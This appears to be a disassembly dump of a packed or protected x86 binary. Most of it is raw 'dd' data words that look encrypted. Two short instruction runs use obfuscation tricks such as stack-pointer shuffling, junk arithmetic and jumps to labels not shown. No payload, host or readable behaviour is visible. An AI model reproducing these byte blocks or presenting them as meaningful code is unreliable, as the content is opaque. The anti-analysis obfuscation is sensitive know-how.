dd 8BF66B02h, 9E0904ACh, 3A4F480Fh, 649AE035h, 6AD35938h
dd 0B1684B63h, 942DBA6h, 1A804B4Ch, 4747B57Fh, 6F87A844h
dd 0E1CEC98Ch, 16E7F0A8h, 0BF8C5740h, 0A24FCAA7h, 0E6F1A837h
dd 2235E8D1h, 4EE0D657h, 28EB7AE5h, 64311A2Fh, 38648673h
dd 0C98300CFh, 65EFCCE4h, 0D359582Ch, 903BA6CFh, 0C9948357h
dd 6E8F884Ch, 1A67356h, 0D4C39156h, 501B3C09h, 53756283h
dd 0FD7972B1h, 1F465E15h, 2433E11Ah, 12C7260Ch, 4CA13A05h
dd 5970D006h, 7F1FD6D3h, 9FC08D58h, 0E0F7A487h, 0CC375015h
dd 2334E821h, 1B3CDB58h, 4A628350h, 90A5B267h, 59753D9Ah
dd 88BE04D3h, 6BD35975h, 0F7FEACABh, 6A3E8D6h, 3E93E458h
dd 596DC2F8h, 86EABCD3h, 0E62F85B2h, 0FD193138h, 0FFFFFEF1h
dd 11478DE2h, 17D358BEh, 612F810h, 51461511h, 9ABBDC80h
dd 0B5A274ADh, 3589E9Dh, 0CADB018Ch, 63BA9BA8h, 0E11A2052h
dd 698842B2h, 597E1A0Eh, 59602038h, 5641118Eh, 91865841h
dd 46164FA4h, 0DBB98651h, 0DB019DA5h, 0AF8CA4ABh, 0A8736432h
dd 5FEE5954h, 7E8398BFh, 6D859245h, 4CFC88Ah, 19D417Ah
dd 58C3DCDBh, 0F90E09C9h, 0FE19BBF4h, 6B4E6633h, 0A3E1ACABh
dd 2F7562B2h, 0E2A9C1A2h, 0E28CA1A8h, 6EB4A175h, 0EA59371Dh
dd 0D40A5023h, 0DAEA5937h, 4EE7B2D3h, 377DB3F9h, 7C83EA59h
dd 0D4ECEBABh, 0D48324F1h, 0A48DA2C3h, 98CE14F7h, 92EA5937h
dd 65E3101Bh, 6118C69Ch, 5E7FA0B7h, 9B720993h, 8155F48Fh
dd 8A4ECB96h, 9045C28Dh, 0BC279C87h, 47686F2Dh, 0ED7CE75Ch
dd 0BFD87F28h, 0F10627F4h, 59465108h, 925D7A20h, 5C92D8C5h
dd 62F48F9Bh, 0E966435Bh, 0E3195F2Ch, 0E9F48F9Bh, 0B1F6C1E2h
dd 49822D98h, 7070888Fh, 0C561D43Ah, 0A5FFh, 15C7FD00h
dd 5404ED02h, 91452E43h, 0D5887186h, 5D0C9529h, 2142FFE1h
dd 8CE070Ch, 5F77440Fh, 0A9BED97Ch, 453182A4h, 36F6D5F9h
dd 7B9C3B1Eh, 63F76C8Eh, 2DE7F0A8h, 0D3EB978Ah, 5116C3ACh
dd 1DC09186h, 41622FFAh, 2FEE272Ch, 26E0165Ch, 0DFE6D359h
dd 13C3A6BEh, 5706EF04h, 0B8FE5340h, 0D3592682h, 8C698188h
dd 7C1E9B18h, 6815905Bh, 83D877FDh, 0C08B8C4Ah, 62839443h
dd 26245A4Ah, 0B2EBD359h, 5F2CF7E0h, 318169A5h, 2F470DE6h
dd 7353686Fh, 771EF6h, 90600000h, 59704D80h, 1A8532D3h
dd 15C7465Ch, 5404ED02h, 7F1D5643h, 0B70D9E58h, 0A80847D5h
dd 0DA806990h, 4EA3A8BDh, 5897D208h, 0B9D1D8D3h, 0FE4407D6h
dd 0D35897C8h, 534417CEh, 0AD9ABB88h, 58973167h, 0F3037D3h
dd 0A54211FAh, 4D1AE5F2h, 6B2E172Ch, 0A96E576Ch, 5B9499AEh
dd 2F28EEB9h, 0AB769764h, 33E3C6DEh, 0ACB0F24h, 0D000000h
dd 0B0A772ABh, 320018E5h, 116C794h, 0FE19B936h, 0F6E1B633h
dd 0ECEBAE2Bh, 0E6F1A421h, 0D8FF9E1Bh, 0CDCA900Dh, 0C4D38502h
dd 0BFD87CF9h, 89573CF4h, 4C781E7h, 81000000h, 4EFh, 243C8700h
dd 2414895Ch, 81E68956h, 4C6h, 4EE8100h, 87000000h, 895C2434h
; ---------------------------------------------------------------------------
adc al, 24h
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ecx
push 7AF75F7h
pop edx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ecx
push 20A6h
mov [esp], edx
pop dword ptr [ecx+8]
mov ecx, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_58941B
; ---------------------------------------------------------------------------
idiv al
or [edi], ch
sub [eax+7AF7B55h], bh
add eax, ebp
mov edx, ebx
jmp loc_5FD977
; ---------------------------------------------------------------------------
dd 71C3BDCh, 44597E1Eh, 859ABD5Bh, 0C4D9FE9Ch, 0A1F38DBh
dd 5D8CDFCh, 4514FD12h, 87543D52h, 0C0927B90h, 43E2C2D7h
dd 0A9F5C7FDh, 8533CDCBh, 14C71802h, 4DCD2F03h, 2F0314C7h
dd 10C74DCDh, 34E11A07h, 0AB250B23h, 0E5B0A772h, 8A230018h
dd 70B9EF35h, 0FD9CD359h, 6B252CDAh, 0EA604498h, 4D334B99h
dd 56AB2AF0h, 5970DA10h, 0C1D9E0D3h, 0C7A93BA6h, 0AB2F0314h
dd 46087E89h, 0FC1447B3h, 0C797D0D5h, 0C7D2B8D0h, 0C2170413h
dd 5970467Ch, 33794CD3h, 0D3596FFDh, 0C3DBFC03h, 0C74DCDDDh
dd 0AB2F0314h, 70DA1056h, 29E0D359h, 324A6B6Ch, 0FCD060Bh
dd 58703D08h, 0A072AB72h, 71FECB7h, 78657224h, 70A7DD23h
dd 0A6ADD359h, 34CDA88Eh, 706399DFh, 0E42AD359h, 0D35970AEh
dd 0F8FFADB4h, 14C7FAE0h, 97832F03h, 0DA1056ABh, 0E0D35970h
dd 0A06B6C29h, 37E1B2D3h, 70885520h, 0FBCFC88Dh, 14C74DCDh
dd 59700D46h, 0FE9BD4D3h, 0FA01C1D9h, 0A272AB26h, 51DEAB5h
dd 89ABDEF2h, 70CAD102h, 0D6B9D17Fh, 0A1B66601h, 89ABAC80h
dd 0B6FC1167h, 0D358A080h, 0FFC57F86h, 184E9483h, 1ED35912h
dd 0CBDEF617h, 8FAD6DB7h, 72AB9224h, 1CE9B4A3h, 65722104h
dd 457E8391h, 0E8B58097h, 8A554217h, 0C7BFA5BDh, 832F0314h
dd 3813C797h, 5970BCF2h, 9ABBC2D3h, 0F7778BADh, 441CE33Fh
dd 4DCD462Ch, 2E0215C7h, 0BCBA4DCDh, 9C72A260h, 89AB5CBEh
dd 9B753FADh, 0B4EA307Ch, 0BAD3590Bh, 5F7A92B3h, 17C762F4h
dd 45B57D67h, 30519CF0h, 0C74DCD5Ch, 0DA130017h, 85521D3Ah
dd 6874A0CBh, 677F9D1Eh, 0C74DCD81h, 0AB2F0314h, 2FCD6789h
dd 4A623A01h, 5CBEED6Dh, 0AB92248Fh, 0E8B3A472h, 0D5B6611Bh
dd 0CB806A7Eh, 0D0AD0B3h, 0C763B739h, 0B7310512h, 710C763h
dd 0FD1ABF3Ch, 0E9546D32h, 0ABE7170Ah, 0F4D72C89h, 40589BF7h
dd 0AB28BA25h, 9DB5A272h, 27FB1CBAh, 0E6A572ABh, 59706AA0h
dd 486970D3h, 0AB260030h, 9FB7A072h, 0B46519BCh, 0C48A7C37h
dd 53A3D91Fh, 0A2A9D359h, 0CD8C6081h, 0D933BA4Dh, 0BE139CBBh
dd 0A072AB5Ch, 0A96FECB7h, 0F516E3AEh, 0C557C2DDh, 130017C7h
dd 0AD6C3BDAh, 8B7189AAh, 13C79783h, 7CC21704h, 0D3597046h
dd 472D454Ch, 14C74DCDh, 4DCD2F03h, 72AB2AF0h, 425502A5h
dd 83EE0921h, 0DDFA9FD8h, 13C7DFC5h, 7E833004h, 70ADE329h
dd 13B3D359h, 0BCA7ABDFh, 0E4FC1D74h, 17C7FEh, 0C74DCD2Ch
dd 92855413h, 8D4B8471h, 941ECCF1h, 2A4B84EAh, 947A925Fh
dd 0D6C34DCDh, 8F899159h, 13C79224h, 0E961216Bh, 0F3049CFh
dd 0C797833Bh, 83300413h, 413C797h, 0A572AB30h, 601AE7B2h
dd 0DFB511EDh, 1284006h, 710C715h, 0AB4DCD33h, 0ECB7A072h
dd 1C855486h, 0D2F39C92h, 1D0616BAh, 114A10C7h, 17D35970h
dd 83973C10h, 130017C7h, 0C7D085BEh, 5970B3E9h, 9AB2B9D3h
dd 6B8397B4h, 92248FAFh, 193B10C7h, 0D436A96Eh, 2D1D3508h
dd 0D35896F4h, 6F1FF3FAh, 1056ABABh, 0D35970DAh, 0A6C1D9E0h
dd 10C7A93Bh, 89AB3307h, 0D91FBC8Ah, 0D3594BA3h, 76E8A2A9h
dd 0E2BFD72Ch, 710C762h, 1056AB33h, 0D35970DAh, 5008D9E0h
dd 97AF7C47h, 2AF03ABAh, 0C792248Fh, 0BFF53B10h, 0C5D35970h
dd 0ABC99DBEh, 70DA1056h, 40E0D359h, 51286060h, 7991B295h
dd 52BA6652h, 32D359A2h, 0CE2389ABh, 0A67D45EBh, 0EBECAB8Eh
dd 1056AB17h, 0D35970DAh, 9AC1D9E0h, 0A572ABAEh, 0E3B79AB2h
dd 9CE07F4h, 8302540Eh, 685F07CAh, 72AB6A50h, 0C29FB7A0h
dd 4A10C742h, 0D3597011h, 973C1017h, 3FCCC383h, 72ABA179h
dd 3B5C00A7h, 0B782A370h, 4CB7D2EAh, 1056ABBAh, 0D35970DAh
dd 0DEC1D9E0h, 4317503Bh, 134C3C54h, 19D35970h, 72AB3E12h
dd 5F9AB2A5h, 898E4982h, 10C78B71h, 97833307h, 330710C7h
dd 17C79783h, 0BBF11300h, 2DDA83FDh, 0BBF3296Fh, 0F2F9D358h
dd 0CDD3B9D1h, 17C74Dh, 0AB83972Ch, 0ECB7A072h, 7724071Fh
dd 83978C60h, 56AB9882h, 5970DA10h, 0C1D9E0D3h, 0C7A93BA6h
dd 0DA130017h, 814E193Eh, 20EBECB0h, 0AB553B53h, 70DA1056h
dd 0D9E0D359h, 0C7C286C1h, 0AB320611h, 0E5B0A772h, 0B90D0018h
dd 0A772ABh, 0A6733E59h, 0C88A6D85h, 0A07AFBCFh, 8C5017C7h
dd 0D2F3C08Bh, 1056ABFEh, 0D35970DAh, 0AEC1D9E0h, 17C79Ah
dd 6D83972Ch, 79248FADh, 41DA7957h, 0F339FDA4h, 0D3588CBDh
dd 839BBCC3h, 0D16069Dh, 2C0017C7h, 72AB8397h, 0B49BB3A4h
dd 4CCE49C6h, 0C792248Fh, 6F2C0017h, 92248FABh, 2C0017C7h
dd 11C79783h, 70BEF43Ah, 0BDC4D359h, 4DCDC89Ch, 0B3A472ABh
dd 47E0B89Bh, 0EBB88394h, 34CDF6CAh, 243C5BFBh, 0BAF6BA3Eh
dd 0F0D6D359h, 92248F2Ah, 320611C7h, 11C79783h, 3AE01906h
dd 70D50B51h, 0D4DBD359h, 0B7B59BB3h, 17C763h, 1A89AB2Ch
dd 0D70CE25Dh, 0E62556Dh, 248F74A6h, 611C792h, 4E877A32h
dd 1E39DD8Ah, 0ABFFE5FDh, 9DB5A272h, 25F91EBAh, 17C74DCDh
dd 4DCD2C00h, 248F6DADh, 611C792h, 457E8332h, 3EBB8691h
dd 0E5B27D9Ah, 0C7C6ACC4h, 49376D11h, 0E34FFFh, 0FD1E3F58h
dd 0C74DCD29h, 0DF180512h, 0D04D183Fh, 723F0A0Dh, 0CD533951h
dd 8F9B7F4Dh, 11C79224h, 89AB3206h, 13E1E019h, 355C74AAh
dd 5F95DB30h, 65D35938h, 0C760465Eh, 0C4190611h, 5970487Eh
dd 2F474ED3h, 0C7978349h, 0CD320611h, 0A772AB4Dh, 18E5B0h
dd 5975E510h, 11C7C5D3h, 0D317183Ah, 0DE5F7DDFh, 58EECA00h
dd 0DCC9D0D3h, 58EE6096h, 3E5F66D3h, 80B6FC51h, 86D358EEh
dd 8381677Fh, 0A372AB97h, 1FB99CB4h, 4DCD24F8h, 925BD0C3h
dd 92248F88h, 190611C7h, 70487EC4h, 474ED359h, 9783492Fh
dd 300413C7h, 0B2A572ABh, 25021AE7h, 3A11C7A5h, 5970BEF4h
dd 9CBDC4D3h, 0BE4DCDC8h, 9A89AB5Ch, 0CAC26270h, 85F00B23h
dd 2361BAF3h, 0C741D35Ah, 83320611h, 611C797h, 0C7978332h
dd 91865611h, 8F4A8370h, 0D8F0BD88h, 0C74DCDF2h, 0CD330710h
dd 710C74Dh, 0FB34CD33h, 0A06D385Fh, 0D3C3A288h, 3770915Ch
dd 755B7364h, 0AB92248Fh, 9CB4A372h, 25F91EB9h, 15C79783h
dd 63B72E02h, 330710C7h, 10C7A07Ah, 5970114Ah, 0FE4417D3h
dd 0D35970C8h, 0D2A6C7CEh, 0DA1056ABh, 0E0D35970h, 81AEC1D9h
dd 70B0E62Ch, 0AFB6D359h, 10C7B197h, 4552023Bh, 70043D2Dh
dd 30AD359h, 803EDD16h, 0F47281AAh, 69345503h, 979E849Ch
dd 5D966B83h, 5D29DBAh, 248F07EDh, 4A10C792h, 0D3597011h
dd 0DDFA9FD8h, 6D2D4512h, 89AB9266h, 908F11C7h, 9ED9F160h
dd 710C7DAh, 0C7978333h, 0C7845413h, 59704B81h, 294A51D3h
dd 35E21B08h, 70DA1056h, 0D9E0D359h, 0B7BAA0B8h, 611C763h
dd 0ABA07A32h, 64EA9C89h, 0F3B5D6EDh, 0EC9A546Fh, 1A604D7Dh
dd 0D3590CE4h, 0E8CBE3EAh, 0CD512532h, 1056AB4Dh, 0D35970DAh
dd 0DEC1D9E0h, 0AB44183Fh, 0E5B0A772h, 64149C7Fh, 3E5F9FFEh
dd 0BEC94926h, 92248F5Ch, 190611C7h, 70487EC4h, 474ED359h
dd 70DE145Ah, 0DDE4D359h, 63B7DFC5h, 300413C7h, 10C763B7h
dd 70BFF53Bh, 0BEC5D359h, 8255D29Dh, 0EC05CA95h, 6DA8A281h
dd 709CD218h, 0F196D359h, 6A6DB95Ah, 11920CEh, 79248F1Bh
dd 657D9A40h, 3A11C77Fh, 5970BEF4h, 4D0DC4D3h, 0F63C294Ah
dd 0D35970C0h, 0CA9EBFC6h, 0B1A672ABh, 70487EC4h, 474ED359h
dd 0D30CFF2Fh, 7C491403h
dd 11C77E64h, 8DBFC56Dh, 0BFE0A87Fh, 457E83EBh, 0E2B18295h
dd 0C7F7DDF5h, 0CD310512h, 1056AB4Dh, 0D35970DAh, 5508D9E0h
dd 92472A42h, 703D73B9h, 3C43D359h, 25F52E1Bh, 2EEA6732h
dd 62370829h, 0CD775D75h, 507EBA4Dh, 0C45D35Ah, 4A30484Fh
dd 56AB1FFBh, 5970DA10h, 0C70DE0D3h, 0D3597091h, 576F9097h
dd 0ED26D13Ch, 8157282Fh, 0C7987E96h, 0DF180512h, 0A718638h
dd 0DC0D7B39h, 0B23F0BBh, 2289AB25h, 3189EA31h, 5D7A19EAh
dd 86ADC592h, 4614C79Ah, 0D359700Dh, 18A3B2D4h, 0F674956Bh
dd 43171EDEh, 0FD5B89ABh, 8C74AAF0h, 737AD358h, 0E41F83B9h
dd 538CB9CCh, 0F9C69186h, 12C7FBE1h, 926F3105h, 66ED9E70h
dd 0E0F84097h, 512C7FAh, 0AB839731h, 0C524489h, 0F50D00ACh
dd 6BE9220Eh, 92248FAFh, 658789ABh, 33CA824Fh, 0DFAC7760h
dd 16C3A6BEh, 59B9EF35h, 1FBFD359h, 3CBB18F3h, 5B7C9D2Bh
dd 0ABAB6F87h, 0E8B3A472h, 0F15F031Bh, 92248F66h, 310512C7h
dd 11C79783h, 4DCD3206h, 0BA0D1606h, 0D35A5B86h, 7CB2F84Dh
dd 82D35A5Bh, 0AB7D637Bh, 0CF920789h, 9AB24F51h, 22F6E1B7h
dd 248F9783h, 611C792h, 1D3AE019h, 4DCD1F05h, 0B1A672ABh
dd 0F7E0B699h, 0A472AB23h, 3EBE9BB3h, 1A067DBAh, 5CBE5D35h
dd 0C792248Fh, 83320611h, 8196457Eh, 11C78369h, 3BE01906h
dd 0CD1E041Ch, 3E59FB34h, 0D7C34026h, 64391D3Fh, 0E50F8401h
dd 8892E7CDh, 0C792248Fh, 90875611h, 8A49826Fh, 0AB8F758Dh
dd 0EAB5A272h, 0F2DE051Dh, 320611C7h, 0B0A772ABh, 0E52B18E5h
dd 0D35970AFh, 0A396AEB5h, 314C74Fh, 803EDD16h, 9A87E2BFh
dd 0FDAFB86h, 0AB442A42h, 799FB189h, 0EABB665Ah, 1F122A2Dh
dd 0AB0D0DCBh, 9FB7A072h, 0C7871984h, 7A320611h, 5611C7A0h
dd 0FFCC9780h, 97830ADEh, 310512C7h, 0DA1056ABh, 0E0D35970h
dd 64E4C1D9h, 310512C7h, 0B5A272ABh, 0C740C09Dh, 0CD310512h
dd 314C74Dh, 0E5F6F416h, 0EE678DBEh, 0FE3834h, 1D35E7D4h
dd 1056AB37h, 0D35970DAh, 0E4C1D9E0h, 8F1FFB64h, 12C79224h
dd 97833105h, 330710C7h, 12C78397h, 8A5D0039h, 30FDC8CFh
dd 5F77440Fh, 5970366Fh, 59DBFDD3h, 4C4B0A2Eh, 50FAB481h
dd 7EC4B143h, 0D358D248h, 6F2F474Eh, 83979468h, 0A272946Dh
dd 0D2826AC7h, 8FE5CBE3h, 17C79224h, 56AB2C00h, 5970DA10h
dd 8D9E0D3h, 522F4750h, 0A372ABD2h, 41CE9B4h, 75627521h
dd 60789F3Ch, 0BE4DCD7Ah, 1056AB5Ch, 0D35970DAh, 31FC1BBDh
dd 5FFFB664h, 7FA06D38h, 4FE14C67h, 130017C7h, 21A3DDAh
dd 0C383971Ch, 2385AB8h, 9A4ACAD2h, 6DAD93ABh, 92248FADh
dd 0D76C12C7h, 0C6D1889Eh, 5E94FD0Ch, 1C2E54A4h, 8EAF994Eh
dd 0C79783BAh, 0C3180512h, 5970477Dh, 2E464DD3h, 0C3839748h
dd 4CCE5CD3h, 0AB92248Fh, 5D7A1D56h, 5970497Fh, 30484FD3h
dd 0BB8F884Dh, 14C7AB6Fh, 83972F03h, 0A4317C7h, 10D35970h
dd 6A973509h, 5D756231h, 8FAD6D77h, 11C79224h, 72AB3206h
dd 0A99CB4A3h, 1056AB55h, 0D35970DAh, 0DEC1D9E0h, 0F311E39h
dd 724FE887h, 0D5BBD33Fh, 1A672ABh, 0A224354h, 12C700DAh
dd 39DF1805h, 8320061Eh, 413C797h, 0C74DCD30h, 0CD330710h
dd 0A572AB4Dh, 21AE7B2h, 0A1E8CE12h, 0BC5C957Fh, 5D282FEBh
dd 0D7A46F90h, 13C7D9BFh, 1EBC3904h, 90612EF9h, 83FEC9CEh
dd 0B28C6BD6h, 669CE237h, 6CD35970h, 0AB674D65h, 0AE001989h
dd 588F3268h, 773138D3h, 5D173BB6h, 0E77B34B3h, 15304836h
dd 0B5BA18AAh, 95D359C4h, 300413C7h, 0E3297E83h, 0D35970ADh
dd 0AE94ACB3h, 0DA1056ABh, 0E0D35970h, 38DEC1D9h, 59F9321Fh
dd 0CD40263Eh, 6915C74Dh, 0E5E5131Dh, 51254627h, 0A6DF34CDh
dd 4E1BE6F1h, 59703A70h, 213940D3h, 0AB6DAD3Bh, 70DA1056h
dd 0D9E0D359h, 7B465108h, 107B96AEh, 6A6D2C65h, 13C76C52h
dd 97833004h, 2E0215C7h, 72AB4DCDh, 19E6B1A6h, 0B6819648h
dd 0C5E1D1E9h, 0A55259AAh, 248F5CBEh, 413C792h, 0AB978330h
dd 0A0E6A572h, 0D359706Ah, 7D486970h, 0E2B598B0h, 4DCD21F5h
dd 0FE3714C7h, 0F4713C5Bh, 9F6C3720h, 3D76667Eh, 43D35970h
dd 0FDC8CF8Ch, 0AB3B0F30h, 0E6B7A072h, 0FB0E2631h, 1056ABE7h
dd 0D35970DAh, 0DEC1D9E0h, 70286139h, 272ED359h, 0E589AB53h
dd 0D0C796AFh, 637E3805h, 21F3C40Ch, 869E6B36h, 0AD6D5F73h
dd 0C792248Fh, 0AB300413h, 70DA1056h, 0D9E0D359h, 9562CD1Fh
dd 1804B7h, 10C7A323h, 7FC51A07h, 0D3597049h, 7094CA10h
dd 939AD359h, 0ABF1DEE5h, 0D3597075h, 765C747Bh, 0B7A072ABh
dd 0E0071FECh, 0E2F5A2DBh, 64CEB117h, 36CA296h, 0ABE4CAE2h
dd 70DA1056h, 0D9E0D359h, 8539DEC1h, 709C1AD4h, 0DCB0D118h
dd 10C74DCDh, 63B73307h, 330710C7h, 303E89ABh, 76E91506h
dd 0CAE2F5A5h, 13C783D7h, 70BCF238h, 0BBC2D359h, 8652CF9Ah
dd 0BA2FC691h, 337E704Fh, 35B86D11h, 374FE3EEh, 92248F51h
dd 330710C7h, 10C7A07Ah, 97833307h, 23B10C7h, 0AA774255h
dd 7069A292h, 0F730D359h, 98653027h, 0E5B9C080h, 61316A97h
dd 0C6DEAB76h, 0A472ABE0h, 31BE8B3h, 85597E20h, 61316A97h
dd 0C6DEAB76h, 8FAF6BE0h, 10C79224h, 5970114Ah, 0FB9FD8D3h
dd 574411DCh, 5970DB11h, 0C2DAE1D3h, 8ED46202h, 10A6AF9Ch
dd 0AB6F1BEFh, 1A0710C7h, 0DAC212F8h, 0F9117CB0h, 457E8313h
dd 22BB8691h, 5970A6DCh, 84A5ACD3h, 4CC184CAh, 119F5B8h
dd 215C71Bh, 0A272AB2Eh, 40C09DB5h, 150215C7h, 71F38DCh
dd 0C74DCD21h, 102F6A14h, 5E1AFDF7h, 4417503Dh, 0A3BB8853h
dd 1234CDBDh, 20F8B147h, 0FF107D37h, 0FB735971h, 356BB106h
dd 3BD35970h, 8F361C34h, 0D9577924h, 7AEA12Ah, 0C711F70Fh
dd 0BAF03615h, 0C0D35970h, 7F4A4D09h, 9C7091B2h, 15C79783h
dd 4DCD2E02h, 0DA1056ABh, 0E0D35970h, 0A36E6929h, 0BA9DB5D6h
dd 0CD29FD1Ah, 8F2AF04Dh, 15C79224h, 97832E02h, 8F6D11C7h
dd 0D3C55709h, 82356C26h, 0FA3699FDh, 4DCD05D9h, 0D2A0D8BAh
dd 5CBEB8C7h, 0C792248Fh, 0CD2E0215h, 3C5BFB34h, 0A68CA471h
dd 6C9689ABh, 7912185Eh, 0B9DE7E61h, 0C763B7E5h, 0DA130017h
dd 804D183Fh, 63B78268h, 72AB74A6h, 7F9AB2A5h, 15C78214h
dd 89AB2E02h, 1A3D7B75h, 33637B74h, 215C759h, 457E832Eh
dd 0EFBC8790h, 89ABF1D7h, 8807DD3Fh, 0EED1E9C2h, 8355292Eh
dd 314C797h, 0C74DCD2Fh, 700D4614h, 9BD4D359h, 4C4DCFBh
dd 8464BC64h, 0CDDA7112h, 65742E11h, 0D1A5C68Dh, 0D0C38397h
dd 71A7ED42h, 77D35970h, 0C7725870h, 868B6C12h, 75B01453h
dd 4A0C8954h, 0A4BD824Dh, 0E905A39h, 440D89ABh, 33FE19BEh
dd 1B09AC66h, 0CC37526Ah, 3714C73Ah, 0BDEFF515h, 132B11CAh
dd 589FEA23h, 15E9F0D3h, 0B53B89ABh, 0C2E12D03h, 5970467Ch
dd 24454CD3h, 0C70DD10Ch, 0DE170413h, 0E74D183Fh, 3296EACEh
dd 5A7293F5h, 0C763B774h, 0AB2F0314h, 0AADFF989h, 5421ECEBh
dd 727C119Ah, 0CDE5F2A1h, 14C7C39Dh, 63B72F03h, 130017C7h
dd 704278BEh, 4148D359h, 63B74329h, 248F52C8h, 314C792h
dd 0C7A07A2Fh, 94835314h, 0B4EA30C9h, 0BAD35970h, 9D7192B3h
dd 0C0156A97h, 5970447Ah, 65434AD3h, 0D359702Fh, 30162E35h
dd 6B21EEC3h, 0C5FB4196h, 0CBD35970h, 8FC6ACC4h, 14C79224h
dd 0C9948353h, 6F07DBFCh
dd 314C7ABh, 297832Fh, 0C7180218h, 6B7E6E10h, 0D5AC7446h
dd 56ABE0B4h, 5970DA10h, 6E29E0D3h, 0B0D19E69h, 0CD22BB98h
dd 59705187h, 385057D3h, 0C78A9052h, 87E66E10h, 84CE23AEh
dd 97838F63h, 330710C7h, 0DA1056ABh, 0E0D35970h, 48696E29h
dd 0ABD35330h, 99B1A672h, 597073A9h, 11C753D3h, 19BE3B06h
dd 556E33FEh, 0C43C0BEAh, 0C792248Fh, 83330710h, 17C797h
dd 0C74DCD2Ch, 0CD320611h, 1056AB4Dh, 0D35970DAh, 84DBBCD4h
dd 2DDB6D7Ah, 0E81E0E26h, 0C8D358FCh, 190611C7h, 4E193EE0h
dd 0F41502D1h, 98637423h, 83CDB3CBh, 0A472AB97h, 0E0B89BB3h
dd 70AEA85Eh, 3B5C3EFBh, 0C74DCD67h, 832C0017h, 611C797h
dd 0AB978332h, 99B1A672h, 9F6E1B6h, 0BB5D0AD0h, 7D637B9Ch
dd 84BA4DCDh, 4BFC10ECh, 0DBA94629h, 11385F95h, 0A45E65FCh
dd 89A18940h, 512C7A3h, 0CAA1C318h, 868A9210h, 15D70DEBh
dd 1EBAD359h, 0B3612EF9h, 1F38DBACh, 97832107h, 310512C7h
dd 56AB4DCDh, 5970DA10h, 0A640E0D3h, 1BE26E36h, 84512243h
dd 0FFBD7B93h, 0AB92248Fh, 70DA1056h, 40E0D359h, 9EFA1E32h
dd 0C6DEFF55h, 12C7B39Fh, 7DC31805h, 0D3597047h, 482E464Dh
dd 2EEC4DCDh, 0DA1056ABh, 0E0D35970h, 3BA6C1D9h, 95825790h
dd 0EA0215C4h, 0C7978304h, 0CD310512h, 7081BA4Dh, 8761D359h
dd 1B03257Ah, 6BAEE3F0h, 0F9FB310Fh, 7CC2D358h, 0D358FA46h
dd 9097454Ch, 248F9278h, 6C12C792h, 1CE9DC21h, 885C7DCAh
dd 12C79783h, 75968155h, 0BA4DCDA1h, 0F79784C8h, 314C7A8h
dd 0FC1BBB38h, 77E2DD31h, 8F2AF098h, 12C79224h, 97833105h
dd 330710C7h, 89AB4DCDh, 0E9DC3F14h, 4F324ADBh, 0F3BAF48Ah
dd 91DDE082h, 94B5D6C1h, 0C94DCDC0h, 0A572AB51h, 20975819h
dd 1536CFD5h, 0A215DA5Bh, 435B82FAh, 0BD12BD28h, 0E4C2D584h
dd 0D35911AEh, 27D5C291h, 0AB220820h, 5D7A1D56h, 5970497Fh
dd 30484FD3h, 0B98D8A4Dh, 31D09783h, 706096DCh, 0AF66D359h
dd 0DAC7E8EFh, 59705E94h, 455D64D3h, 0C74DCD5Fh, 0DF180512h
dd 0D0064C3Fh, 0D6D35970h, 0B096AECFh, 56AB9783h, 5970DA10h
dd 0C70DE0D3h, 0D3597091h, 576F9097h, 83C91E3Dh, 0D359704Dh
dd 0DAFD9C53h, 0BABBA1B9h, 0D3597084h, 8F51C964h, 72AB9224h
dd 0C3D81CA2h, 9CE63BA0h, 0EBECAA7Bh, 0C7ABC1D3h, 0CD330710h
dd 17C74Dh, 0FB34CD2Ch, 0CDCA895Eh, 0FC143502h, 8F6DAD16h
dd 10C79224h, 97833307h, 330710C7h, 0CBBA4DCDh, 0ABDFE2D8h
dd 791B54ADh, 8F60465Eh, 10C79224h, 89AB3307h, 96F3BA2Bh
dd 0B8DFF722h, 17C7CCh, 0A772AB2Ch, 18E5B0h, 4AD0EDD9h
dd 0D81234CDh, 1C46A031h, 0C7A98FA7h, 0AB330710h, 0ECB7A072h
dd 0B132651Fh, 0A8C847FAh, 0D033B390h, 1056AB4Ah, 0D35970DAh
dd 70255BA1h, 242BD359h, 58576F76h, 5970E012h, 0BDFE6D3h
dd 10C79783h, 0D9F81A07h, 2149A110h, 0ABAC92AAh, 9CB4A372h
dd 72AB8975h, 1CE9B4A3h, 8AC3F204h, 200FC9CEh, 0EE4BE80Dh
dd 0C7AE94ACh, 0CD310512h, 0AB4AD04Dh, 59702F65h, 0DC7E35D3h
dd 223F0BBh, 0BA97832Eh, 0D359B1F1h, 0BBDC7FB8h, 250B23F0h
dd 190611C7h, 0E5843AE0h, 0CDD7ADF8h, 7F4C1738h, 4DCD8167h
dd 380017C7h, 2F65ABB2h, 0F6D35970h, 2EF91EBDh, 0B6894961h
dd 59703A70h, 183940D3h, 0A372AB44h, 24455204h, 4D748C59h
dd 0AB8A9061h, 9BB3A472h, 23F7E0B8h, 72AB9783h, 1AE7B2A5h
dd 587F1F02h, 0FB34CD84h, 0A06D385Fh, 56ABA288h, 5970DA10h
dd 0C1D9E0D3h, 59709BD1h, 6E2962D3h, 0B9D19E69h, 17C7D3h
dd 7A13F113h, 819420DBh, 56AB8369h, 8F5A7D1Dh, 70AEE4C2h
dd 0ADB4D359h, 0C7826E95h, 0BEF43A11h, 0C4D35970h, 0CDC89CBDh
dd 17C74Dh, 0C94DCD2Ch, 1056AB51h, 0D35970DAh, 0A6C1D9E0h
dd 72ABA93Bh, 0B99CB4A3h, 8324F81Fh, 0CD4AD097h, 17C74Dh
dd 8009F113h, 5A63F9D1h, 0F1F1276Dh, 0F0F7D358h, 7E83F2D8h
dd 70ADE329h, 68A7D359h, 0B09F3034h, 334B5200h, 314C74Dh
dd 0FB34CD2Fh, 3D233B5Ch, 14C78A90h, 97832F03h, 2F0314C7h
dd 84BA4DCDh, 64D35970h, 0F31638C9h, 0E145BB9Ch, 2D28CC0Dh
dd 6D940C73h, 0C3DBFC9Ch, 92248FDDh, 2F0314C7h, 0C35C7E83h
dd 60B38B33h, 0C716FC14h, 0CD2F0314h, 0A672AB4Dh, 73A999B1h
dd 53D35970h, 390413C7h, 70245AA0h, 232AD359h, 0CC978052h
dd 49738166h, 0FD9AF839h, 23F281ECh, 7B9C6934h, 248F34ACh
dd 314C792h, 1F38DD16h, 896F8754h, 31D09783h, 1A3225F8h
dd 0A772AB34h, 18E5B0h, 89ABA323h, 850A9042h, 9ED41A04h
